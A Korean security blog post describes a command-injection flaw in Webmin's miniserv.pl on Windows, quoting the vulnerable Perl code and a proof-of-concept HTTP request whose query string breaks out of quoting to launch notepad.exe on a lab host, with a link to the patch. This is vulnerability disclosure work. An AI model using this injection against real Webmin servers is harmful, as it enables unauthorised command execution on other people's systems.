뻘글이라도 블로그를 관리하기로 생각했는데, 못하고 있어서 관리차 예전에 찾았던 webmin 취약점에 대해 포스팅을 하기로 했다.
먼저 admin panel에 대해 무지하기도 하고 관심도 없었던 내가 webmin을 보게된 계기는 업무중에 이 돌아가는 서버를 발견했었는데,
생각보다 취약점(크리티컬한..)에 높은 값어치가 매겨지고 있었고 있었던 1-day가 생각보다 너무 심플해서 날먹이 되지않을까 싶었기 때문이다.
코드를 받아 열어보니 perl로 짜여진 web상에서 서버를 관리하기 위한 admin panel서비스였고 특이한 점은 apache 와 같은 웹서버를 사용하지 않고 miniserv.pl이라는 스크립트로 http request를 socket으로 직접받아 처리한다는 것이었다.
miniserv.pl에서 하는일은 꽤 많았는데
- config 파일 파싱
- authentication check
- Uri check according to authority …
등이 있었다.
코드를 오래볼 생각은 없었기에 크리티컬한 부분 기준으로 우선순위를 먼저 잡고 원데이를 나열해보았다.
miniserv.pl 에서 preauth로 접근가능한 기능, (miniserv.pl 에서 preauth로 허용한 cgi (password_change.cgi) -CVE-2019-15107)
기본권한의 유저가 접근가능한 webmin 기능, 기본권한의 유저가 접근가능한 miniserv.pl 기능 - CVE-2019-15642
로그인 유저에 허용되어있는 webmin 기능 - CVE-2019-12840
원데이를 조사하면서 취약점들이 대부분 cgi에 집중되어있다고 생각했고 preauth cgi 리스트를 나열해보았다.
- /session_login.cgi
- (/password_change.cgi, /password_form.cgi, pam_login.cgi) - need option
- (xmlrpc.cgi)
preauth 벡터가 너무 적어서 miniserv.pl자체의 취약점을 찾아 봐야겠다는 생각이 들었다.
취약점이 너무 심플해서 사족을 많이 붙였는데 눈을 의심하게 하는 취약점이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
if ($on_windows) {
# Run the CGI program, and feed it input
chdir($ENV{"PWD"});
local $qqueryargs = join(" ", map { "\"$_\"" }
split(/\s+/, $queryargs));
if ($first =~ /(perl|perl.exe)$/i) {
# On Windows, run with Perl
open(CGIOUTr, "$perl_path \"$full\" $qqueryargs <$infile |");
}
else {
open(CGIOUTr, "\"$full\" $qqueryargs <$infile |");
}
binmode(CGIOUTr);
}
windows환경의 webmin에서만 위의 코드가 실행이 되는데
$queryargs는 url request의 get parameter영역에서 가져오고 perl에서 open은 execv와 비슷한 역할을 한다.
“를 씌우는 방식은 아래와 같이 쉽게 우회가 가능하다.
1
2
3
4
5
6
7
8
9
GET /password_change.cgi?aabb"|"notepad.exe%20C:\Users\test\Downloads\test.txt" HTTP/1.1
Host: 172.16.76.242:10000
Authorization: Basic dGVzdDp0ZXN0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.16.76.242:10000/
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6,zh;q=0.5
Connection: close
preauth처럼 보이지만 아쉽게도 완전 default환경에서는 preauth가 될 수 없었다.
webmin을 설치할때 디폴트 miniserv.conf이 linux와 window가 다른데, linux에서는 session=1, window에서는 session=0가 default config 파일로 들어간다.
취약점이 트리거 되려면 어떤 cgi든 접근이 하나는 가능해야하는데 session=0일 경우 preauth로 어떠한 cgi도 접근이 불가능해진다.
따라서 default 옵션의 경우 권한제한 없이 아무 계정이나 하나 필요하게 된다.(Authorization: Basic dGVzdDp0ZXN0)
patch : https://github.com/webmin/webmin/commit/1163f3a7f418f249af64890f4636575e687e9de7